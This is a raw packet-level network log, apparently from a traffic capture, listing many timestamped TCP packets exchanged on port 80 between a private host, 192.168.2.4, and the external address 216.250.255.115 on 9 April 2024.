Apr 9, 2024 14:53:07.673397064 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.824183941 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824240923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824341059 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824369907 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.824695110 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824744940 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.824747086 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824814081 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824857950 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.824861050 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.824969053 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825011015 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825072050 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825150013 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825190067 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825227976 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825284958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825367928 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825392008 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825496912 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825510979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825536013 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825540066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825656891 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825659037 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825710058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825742960 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.825782061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825803995 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.825917006 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975559950 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975589991 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975604057 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975619078 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975631952 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975645065 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975653887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975676060 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975696087 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975713015 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975725889 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975760937 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975833893 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975851059 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975881100 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975907087 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975923061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.975950003 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.975963116 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976006031 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976035118 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976049900 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976088047 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976104975 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976118088 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976118088 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976147890 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976208925 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976233959 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976246119 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976267099 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976319075 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976351023 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976366043 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976391077 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976422071 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976485968 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976516962 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976548910 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976552010 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976567030 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976603031 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976609945 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976645947 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976671934 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976676941 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976737976 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976768017 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976783991 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976797104 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976830006 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976835012 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976844072 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976875067 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.976916075 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976931095 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976943016 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976953983 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:07.976969957 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:07.977001905 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.126797915 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.126904964 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.126924038 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.126955986 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.126971006 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127007008 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127032042 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127115011 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127159119 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127248049 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127341986 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127384901 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127408028 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127578974 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127619982 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127654076 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127743006 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127782106 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127849102 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127917051 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.127954006 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.127995014 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128072977 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128112078 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128149986 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128258944 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128299952 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128330946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128366947 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128405094 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128422022 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128572941 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128617048 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128648043 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128690958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128771067 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128783941 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128802061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128829956 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128851891 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128902912 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.128951073 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.128957033 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129061937 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129079103 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129106045 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129160881 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129204035 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129220009 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129267931 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129311085 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129338026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129437923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129477978 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129482031 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129539967 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129578114 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129607916 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129667997 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129708052 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129725933 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129787922 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129842043 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129858017 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129884958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.129925966 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.129951000 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130039930 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130089998 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130108118 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130158901 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130198956 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130212069 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130284071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130321980 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130333900 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130389929 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130475998 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130494118 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130534887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130579948 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130589008 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130677938 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130696058 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130721092 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130846024 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.130903006 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.130961895 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131057024 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131092072 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131100893 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.131170034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131208897 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.131223917 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131298065 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131334066 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.131449938 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131556034 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131594896 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.131663084 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131789923 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131828070 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.131882906 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131921053 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131943941 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.131958008 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.132047892 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132090092 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.132157087 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132239103 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132282019 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132286072 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.132340908 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132374048 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132380009 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.132441998 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132481098 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.132486105 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132523060 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.132560015 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278031111 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278048992 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278127909 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278161049 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278374910 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278424978 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278456926 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278502941 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278542042 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278582096 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278634071 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278670073 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278708935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278774977 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278806925 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.278846979 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278898001 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278960943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.278979063 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279002905 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279036999 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279130936 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279207945 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279242992 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279270887 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279386997 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279423952 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279498100 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279557943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279598951 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279676914 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279738903 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279777050 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.279859066 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279926062 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.279969931 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280002117 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280016899 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280050993 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280128002 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280143976 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280205011 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280215025 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280400038 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280452967 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280560970 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280631065 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280669928 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280797005 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280822039 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280859947 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.280926943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.280977964 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281022072 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281028032 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281090975 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281133890 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281137943 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281209946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281229019 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281323910 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281349897 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281394958 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281423092 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281466961 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281506062 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281589031 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281738997 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281790972 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281831026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281903028 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.281936884 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.281960964 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282028913 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282063961 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.282160997 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282382011 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282423019 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.282459974 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282538891 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282574892 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.282598972 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282665968 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282694101 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.282789946 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282922983 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282968998 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.282975912 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283056021 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283087969 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283149004 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283206940 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283241034 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283261061 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283307076 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283324957 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283349991 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283411026 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283446074 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283570051 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283638000 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283674002 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283729076 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283795118 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283828020 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283830881 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283891916 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.283922911 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.283963919 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284059048 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284203053 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.284291983 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284358025 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284403086 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.284557104 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284626961 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284671068 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.284697056 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284770966 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284811974 CEST	49730	80	192.168.2.4	216.250.255.115
Apr 9, 2024 14:53:08.284853935 CEST	80	49730	216.250.255.115	192.168.2.4
Apr 9, 2024 14:53:08.284939051 CEST	80	49730	216.250.255.115	192.168.2.4
